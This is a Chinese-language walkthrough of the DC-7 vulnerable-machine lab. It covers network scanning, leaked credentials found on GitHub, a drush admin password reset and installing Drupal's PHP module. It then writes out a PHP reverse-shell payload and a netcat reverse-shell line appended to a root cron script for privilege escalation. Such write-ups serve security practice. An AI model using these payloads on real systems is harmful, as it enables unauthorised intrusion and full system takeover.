kali 和 DC-7 都为NAT模式 保证在同一个网段下 可以相互连通。
arp-scan -l #扫描指定网卡下面的全部IP。
通过扫描可以判断DC-7的IP为 192.168.79.132。
nmap -p 1-65535 192.168.79.132 #扫描全部端口探测开启的服务。
可以清楚的看到,DC-7开启了 22 和 80端口。
浏览器访问80端口的http服务 http://192.168.79.132。
得到非常奇怪的提示 叫我们不需要暴力破解啥的。
我就不信邪,我就暴力刷目录,暴力破解后台账号密码,破解邮箱。然后一无所获。
也找了一些Drupal 8 的漏洞 但是好像都不符合。
最后看来其他人的wp才知道秘密在这里。
这个靶场属于git源码泄露。
直接google 搜索 @DC7USER。
东西不就来了么。
一个一个找过去 可以看到。
里面记录了数据库账号密码 尝试后台登录发现不行。
但是可以登录ssh 有点邪门。
ls #发现一个mbox文件 进去看看。
cat mbox
发现里面有一个定时任务 用root 运行/opt/scripts/backups.sh。
查看下权限什么的,发现www-data拥有执行和写的权限,我们当前权限没有写权限,看来没办法动手脚了。
但是如果我们获得了www-data的shell 那就可以写点东西进去,然后依靠计划任务,用root去运行,那么我们可以获得了root权限的shell了。
查看下 /opt/scripts/backups.sh 内容。
可以看到命令是进入 cd /var/www/html/ 后执行drush。
然后去百度看看 drush是干什么呢?
Drush(Drush = Drupal + Shell)就是使用命令行命令来操作Drupal站点,它的命令格式与git类似,都是双字命令(drush + 实际的命令)。既然是命令行命令,也就可以使用其他脚本来实现相同的功能,比如编写shell脚本来实现相同的功能,也的确有不少人这样做过。但是,使用Drush要远优于编写自己的脚本,好处在于,一是可以利用Drush开发社区的力量,二是Drush的命令更加可靠,适用于更多变的环境。
https://www.howtoing.com/a-beginner-s-guide-to-drush-the-drupal-shell
这里有写一些drush基本语法。
drush user-password admin --password="new_pass"
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin 123456为我修改的密码。
drush user-password admin --password="123456"
这样子就修改成功了。
去后台登录下。
登录后台。
进入到后台管理页面 然后就找写webshell的地方了。
发现Content里面可以编辑文章。
但是没办法用php执行,只可以用HTML执行 然后继续瞎点。
发现Extend里面可以安装新模块 试试可不可以安装php。
php 插件下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
直接安装即可。
安装完成后当然要使用起来。
回到刚刚的文章编辑的地方。
可以看到多了一个PHP解释器。
写入一个php 反弹shell的脚步。
<?php
$sock = fsockopen("192.168.79.128", "5555");
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);?>
保存即可.
#记得开启nc侦听。
nc -lvvp 5555
重新访问主网页就可以了。
成功反弹shell。
python -c "import pty;pty.spawn('/bin/bash')"
#利用python 弄个交互页面
#向
/opt/scripts/backups.sh
#内写入反弹shell的脚本
#用bash nc都可以 我这里用的是nc
echo "nc 192.168.79.128 12345 -e /bin/bash" >> /opt/scripts/backups.sh
# 记得kali也要开启侦听
nc -lvvp 12345
要等比较久 要等他计划任务执行 ,这段时间可以去吃个饭什么的
我等了好久 好像都不行 然后我就把我DC-7重启了 就可以了
我等了一年了!!!